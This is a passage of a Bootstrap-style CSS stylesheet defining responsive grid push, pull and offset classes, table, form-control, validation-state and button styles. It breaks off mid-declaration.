.col-sm-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-sm-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-sm-pull-9 {\n    right: 75%;\n  }\n  .col-sm-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-sm-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-sm-pull-6 {\n    right: 50%;\n  }\n  .col-sm-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-sm-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-sm-pull-3 {\n    right: 25%;\n  }\n  .col-sm-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-sm-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-sm-pull-0 {\n    right: auto;\n  }\n  .col-sm-push-12 {\n    left: 100%;\n  }\n  .col-sm-push-11 {\n    left: 91.66666667%;\n  }\n  .col-sm-push-10 {\n    left: 83.33333333%;\n  }\n  .col-sm-push-9 {\n    left: 75%;\n  }\n  .col-sm-push-8 {\n    left: 66.66666667%;\n  }\n  .col-sm-push-7 {\n    left: 58.33333333%;\n  }\n  .col-sm-push-6 {\n    left: 50%;\n  }\n  .col-sm-push-5 {\n    left: 41.66666667%;\n  }\n  .col-sm-push-4 {\n    left: 33.33333333%;\n  }\n  .col-sm-push-3 {\n    left: 25%;\n  }\n  .col-sm-push-2 {\n    left: 16.66666667%;\n  }\n  .col-sm-push-1 {\n    left: 8.33333333%;\n  }\n  .col-sm-push-0 {\n    left: auto;\n  }\n  .col-sm-offset-12 {\n    margin-left: 100%;\n  }\n  .col-sm-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-sm-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-sm-offset-9 {\n    margin-left: 75%;\n  }\n  .col-sm-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-sm-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-sm-offset-6 {\n    margin-left: 50%;\n  }\n  .col-sm-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-sm-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-sm-offset-3 {\n    margin-left: 25%;\n  }\n  .col-sm-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-sm-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-sm-offset-0 {\n    margin-left: 0;\n  }\n}\n@media (min-width: 992px) {\n  .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n    float: left;\n  }\n  .col-md-12 {\n    width: 100%;\n  }\n  .col-md-11 {\n    width: 91.66666667%;\n  }\n  .col-md-10 {\n    width: 83.33333333%;\n  }\n  .col-md-9 {\n    width: 75%;\n  }\n  .col-md-8 {\n    width: 66.66666667%;\n  }\n  .col-md-7 {\n    width: 58.33333333%;\n  }\n  .col-md-6 {\n    width: 50%;\n  }\n  .col-md-5 {\n    width: 41.66666667%;\n  }\n  .col-md-4 {\n    width: 33.33333333%;\n  }\n  .col-md-3 {\n    width: 25%;\n  }\n  .col-md-2 {\n    width: 16.66666667%;\n  }\n  .col-md-1 {\n    width: 8.33333333%;\n  }\n  .col-md-pull-12 {\n    right: 100%;\n  }\n  .col-md-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-md-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-md-pull-9 {\n    right: 75%;\n  }\n  .col-md-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-md-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-md-pull-6 {\n    right: 50%;\n  }\n  .col-md-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-md-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-md-pull-3 {\n    right: 25%;\n  }\n  .col-md-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-md-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-md-pull-0 {\n    right: auto;\n  }\n  .col-md-push-12 {\n    left: 100%;\n  }\n  .col-md-push-11 {\n    left: 91.66666667%;\n  }\n  .col-md-push-10 {\n    left: 83.33333333%;\n  }\n  .col-md-push-9 {\n    left: 75%;\n  }\n  .col-md-push-8 {\n    left: 66.66666667%;\n  }\n  .col-md-push-7 {\n    left: 58.33333333%;\n  }\n  .col-md-push-6 {\n    left: 50%;\n  }\n  .col-md-push-5 {\n    left: 41.66666667%;\n  }\n  .col-md-push-4 {\n    left: 33.33333333%;\n  }\n  .col-md-push-3 {\n    left: 25%;\n  }\n  .col-md-push-2 {\n    left: 16.66666667%;\n  }\n  .col-md-push-1 {\n    left: 8.33333333%;\n  }\n  .col-md-push-0 {\n    left: auto;\n  }\n  .col-md-offset-12 {\n    margin-left: 100%;\n  }\n  .col-md-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-md-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-md-offset-9 {\n    margin-left: 75%;\n  }\n  .col-md-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-md-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-md-offset-6 {\n    margin-left: 50%;\n  }\n  .col-md-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-md-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-md-offset-3 {\n    margin-left: 25%;\n  }\n  .col-md-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-md-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-md-offset-0 {\n    margin-left: 0;\n  }\n}\n@media (min-width: 1200px) {\n  .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n    float: left;\n  }\n  .col-lg-12 {\n    width: 100%;\n  }\n  .col-lg-11 {\n    width: 91.66666667%;\n  }\n  .col-lg-10 {\n    width: 83.33333333%;\n  }\n  .col-lg-9 {\n    width: 75%;\n  }\n  .col-lg-8 {\n    width: 66.66666667%;\n  }\n  .col-lg-7 {\n    width: 58.33333333%;\n  }\n  .col-lg-6 {\n    width: 50%;\n  }\n  .col-lg-5 {\n    width: 41.66666667%;\n  }\n  .col-lg-4 {\n    width: 33.33333333%;\n  }\n  .col-lg-3 {\n    width: 25%;\n  }\n  .col-lg-2 {\n    width: 16.66666667%;\n  }\n  .col-lg-1 {\n    width: 8.33333333%;\n  }\n  .col-lg-pull-12 {\n    right: 100%;\n  }\n  .col-lg-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-lg-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-lg-pull-9 {\n    right: 75%;\n  }\n  .col-lg-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-lg-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-lg-pull-6 {\n    right: 50%;\n  }\n  .col-lg-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-lg-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-lg-pull-3 {\n    right: 25%;\n  }\n  .col-lg-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-lg-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-lg-pull-0 {\n    right: auto;\n  }\n  .col-lg-push-12 {\n    left: 100%;\n  }\n  .col-lg-push-11 {\n    left: 91.66666667%;\n  }\n  .col-lg-push-10 {\n    left: 83.33333333%;\n  }\n  .col-lg-push-9 {\n    left: 75%;\n  }\n  .col-lg-push-8 {\n    left: 66.66666667%;\n  }\n  .col-lg-push-7 {\n    left: 58.33333333%;\n  }\n  .col-lg-push-6 {\n    left: 50%;\n  }\n  .col-lg-push-5 {\n    left: 41.66666667%;\n  }\n  .col-lg-push-4 {\n    left: 33.33333333%;\n  }\n  .col-lg-push-3 {\n    left: 25%;\n  }\n  .col-lg-push-2 {\n    left: 16.66666667%;\n  }\n  .col-lg-push-1 {\n    left: 8.33333333%;\n  }\n  .col-lg-push-0 {\n    left: auto;\n  }\n  .col-lg-offset-12 {\n    margin-left: 100%;\n  }\n  .col-lg-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-lg-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-lg-offset-9 {\n    margin-left: 75%;\n  }\n  .col-lg-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-lg-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-lg-offset-6 {\n    margin-left: 50%;\n  }\n  .col-lg-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-lg-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-lg-offset-3 {\n    margin-left: 25%;\n  }\n  .col-lg-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-lg-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-lg-offset-0 {\n    margin-left: 0;\n  }\n}\ntable {\n  background-color: transparent;\n}\ncaption {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  color: #777;\n  text-align: left;\n}\nth {\n  text-align: left;\n}\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n  padding: 8px;\n  line-height: 1.42857143;\n  vertical-align: top;\n  border-top: 1px solid #ddd;\n}\n.table > thead > tr > th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #ddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n  border-top: 0;\n}\n.table > tbody + tbody {\n  border-top: 2px solid #ddd;\n}\n.table .table {\n  background-color: #fff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n  padding: 5px;\n}\n.table-bordered {\n  border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n  border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n  border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n  background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n  background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n  position: static;\n  display: table-column;\n  float: none;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n  position: static;\n  display: table-cell;\n  float: none;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n  background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n  background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n  background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n  background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n  background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n  background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n  background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n  background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n  background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > .danger,\n.table-hover > tbody > tr.danger:hover > th {\n  background-color: #ebcccc;\n}\n.table-responsive {\n  min-height: .01%;\n  overflow-x: auto;\n}\n@media screen and (max-width: 767px) {\n  .table-responsive {\n    width: 100%;\n    margin-bottom: 15px;\n    overflow-y: hidden;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n    border: 1px solid #ddd;\n  }\n  .table-responsive > .table {\n    margin-bottom: 0;\n  }\n  .table-responsive > .table > thead > tr > th,\n  .table-responsive > .table > tbody > tr > th,\n  .table-responsive > .table > tfoot > tr > th,\n  .table-responsive > .table > thead > tr > td,\n  .table-responsive > .table > tbody > tr > td,\n  .table-responsive > .table > tfoot > tr > td {\n    white-space: nowrap;\n  }\n  .table-responsive > .table-bordered {\n    border: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:first-child,\n  .table-responsive > .table-bordered > tbody > tr > th:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n  .table-responsive > .table-bordered > thead > tr > td:first-child,\n  .table-responsive > .table-bordered > tbody > tr > td:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n    border-left: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:last-child,\n  .table-responsive > .table-bordered > tbody > tr > th:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n  .table-responsive > .table-bordered > thead > tr > td:last-child,\n  .table-responsive > .table-bordered > tbody > tr > td:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n    border-right: 0;\n  }\n  .table-responsive > .table-bordered > tbody > tr:last-child > th,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n  .table-responsive > .table-bordered > tbody > tr:last-child > td,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n    border-bottom: 0;\n  }\n}\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\nlegend {\n  display: block;\n  width: 100%;\n  padding: 0;\n  margin-bottom: 20px;\n  font-size: 21px;\n  line-height: inherit;\n  color: #333;\n  border: 0;\n  border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n  display: inline-block;\n  max-width: 100%;\n  margin-bottom: 5px;\n  font-weight: bold;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  margin: 4px 0 0;\n  margin-top: 1px \\9;\n  line-height: normal;\n}\ninput[type=\"file\"] {\n  display: block;\n}\ninput[type=\"range\"] {\n  display: block;\n  width: 100%;\n}\nselect[multiple],\nselect[size] {\n  height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\noutput {\n  display: block;\n  padding-top: 7px;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #555;\n}\n.form-control {\n  display: block;\n  width: 100%;\n  height: 34px;\n  padding: 6px 12px;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #555;\n  background-color: #fff;\n  background-image: none;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n  -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s;\n       -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n          transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n  border-color: #66afe9;\n  outline: 0;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n          box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n}\n.form-control::-moz-placeholder {\n  color: #999;\n  opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n  color: #999;\n}\n.form-control::-webkit-input-placeholder {\n  color: #999;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n  background-color: #eee;\n  opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n  cursor: not-allowed;\n}\ntextarea.form-control {\n  height: auto;\n}\ninput[type=\"search\"] {\n  -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n  input[type=\"date\"],\n  input[type=\"time\"],\n  input[type=\"datetime-local\"],\n  input[type=\"month\"] {\n    line-height: 34px;\n  }\n  input[type=\"date\"].input-sm,\n  input[type=\"time\"].input-sm,\n  input[type=\"datetime-local\"].input-sm,\n  input[type=\"month\"].input-sm,\n  .input-group-sm input[type=\"date\"],\n  .input-group-sm input[type=\"time\"],\n  .input-group-sm input[type=\"datetime-local\"],\n  .input-group-sm input[type=\"month\"] {\n    line-height: 30px;\n  }\n  input[type=\"date\"].input-lg,\n  input[type=\"time\"].input-lg,\n  input[type=\"datetime-local\"].input-lg,\n  input[type=\"month\"].input-lg,\n  .input-group-lg input[type=\"date\"],\n  .input-group-lg input[type=\"time\"],\n  .input-group-lg input[type=\"datetime-local\"],\n  .input-group-lg input[type=\"month\"] {\n    line-height: 46px;\n  }\n}\n.form-group {\n  margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n  position: relative;\n  display: block;\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n  min-height: 20px;\n  padding-left: 20px;\n  margin-bottom: 0;\n  font-weight: normal;\n  cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n  position: absolute;\n  margin-top: 4px \\9;\n  margin-left: -20px;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n  margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n  position: relative;\n  display: inline-block;\n  padding-left: 20px;\n  margin-bottom: 0;\n  font-weight: normal;\n  vertical-align: middle;\n  cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n  margin-top: 0;\n  margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n  cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n  cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n  cursor: not-allowed;\n}\n.form-control-static {\n  min-height: 34px;\n  padding-top: 7px;\n  padding-bottom: 7px;\n  margin-bottom: 0;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n  padding-right: 0;\n  padding-left: 0;\n}\n.input-sm {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.input-sm {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n  height: auto;\n}\n.form-group-sm .form-control {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.form-group-sm .form-control {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.form-group-sm .form-control,\nselect[multiple].form-group-sm .form-control {\n  height: auto;\n}\n.form-group-sm .form-control-static {\n  height: 30px;\n  min-height: 32px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n}\n.input-lg {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\nselect.input-lg {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n  height: auto;\n}\n.form-group-lg .form-control {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\nselect.form-group-lg .form-control {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.form-group-lg .form-control,\nselect[multiple].form-group-lg .form-control {\n  height: auto;\n}\n.form-group-lg .form-control-static {\n  height: 46px;\n  min-height: 38px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n}\n.has-feedback {\n  position: relative;\n}\n.has-feedback .form-control {\n  padding-right: 42.5px;\n}\n.form-control-feedback {\n  position: absolute;\n  top: 0;\n  right: 0;\n  z-index: 2;\n  display: block;\n  width: 34px;\n  height: 34px;\n  line-height: 34px;\n  text-align: center;\n  pointer-events: none;\n}\n.input-lg + .form-control-feedback {\n  width: 46px;\n  height: 46px;\n  line-height: 46px;\n}\n.input-sm + .form-control-feedback {\n  width: 30px;\n  height: 30px;\n  line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n  color: #3c763d;\n}\n.has-success .form-control {\n  border-color: #3c763d;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-success .form-control:focus {\n  border-color: #2b542c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #3c763d;\n}\n.has-success .form-control-feedback {\n  color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n  color: #8a6d3b;\n}\n.has-warning .form-control {\n  border-color: #8a6d3b;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-warning .form-control:focus {\n  border-color: #66512c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #8a6d3b;\n}\n.has-warning .form-control-feedback {\n  color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n  color: #a94442;\n}\n.has-error .form-control {\n  border-color: #a94442;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-error .form-control:focus {\n  border-color: #843534;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #a94442;\n}\n.has-error .form-control-feedback {\n  color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n  top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n  top: 0;\n}\n.help-block {\n  display: block;\n  margin-top: 5px;\n  margin-bottom: 10px;\n  color: #737373;\n}\n@media (min-width: 768px) {\n  .form-inline .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .form-inline .form-control-static {\n    display: inline-block;\n  }\n  .form-inline .input-group {\n    display: inline-table;\n    vertical-align: middle;\n  }\n  .form-inline .input-group .input-group-addon,\n  .form-inline .input-group .input-group-btn,\n  .form-inline .input-group .form-control {\n    width: auto;\n  }\n  .form-inline .input-group > .form-control {\n    width: 100%;\n  }\n  .form-inline .control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .radio,\n  .form-inline .checkbox {\n    display: inline-block;\n    margin-top: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .radio label,\n  .form-inline .checkbox label {\n    padding-left: 0;\n  }\n  .form-inline .radio input[type=\"radio\"],\n  .form-inline .checkbox input[type=\"checkbox\"] {\n    position: relative;\n    margin-left: 0;\n  }\n  .form-inline .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n  padding-top: 7px;\n  margin-top: 0;\n  margin-bottom: 0;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n  min-height: 27px;\n}\n.form-horizontal .form-group {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n@media (min-width: 768px) {\n  .form-horizontal .control-label {\n    padding-top: 7px;\n    margin-bottom: 0;\n    text-align: right;\n  }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n  right: 15px;\n}\n@media (min-width: 768px) {\n  .form-horizontal .form-group-lg .control-label {\n    padding-top: 14.333333px;\n  }\n}\n@media (min-width: 768px) {\n  .form-horizontal .form-group-sm .control-label {\n    padding-top: 6px;\n  }\n}\n.btn {\n  display: inline-block;\n  padding: 6px 12px;\n  margin-bottom: 0;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  -ms-touch-action: manipulation;\n      touch-action: manipulation;\n  cursor: pointer;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n  color: #333;\n  text-decoration: none;\n}\n.btn:active,\n.btn.active {\n  background-image: none;\n  outline: 0;\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n  pointer-events: none;\n  cursor: not-allowed;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n          box-shadow: none;\n  opacity: .65;\n}\n.btn-default {\n  color: #333;\n  background-color: #fff;\n  border-color: #ccc;\n}\n.btn-default:hover,\n.btn-default:focus,\n.btn-default.focus,\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n  color: #333;\n  background-color: #e6e6e6;\n  border-color: 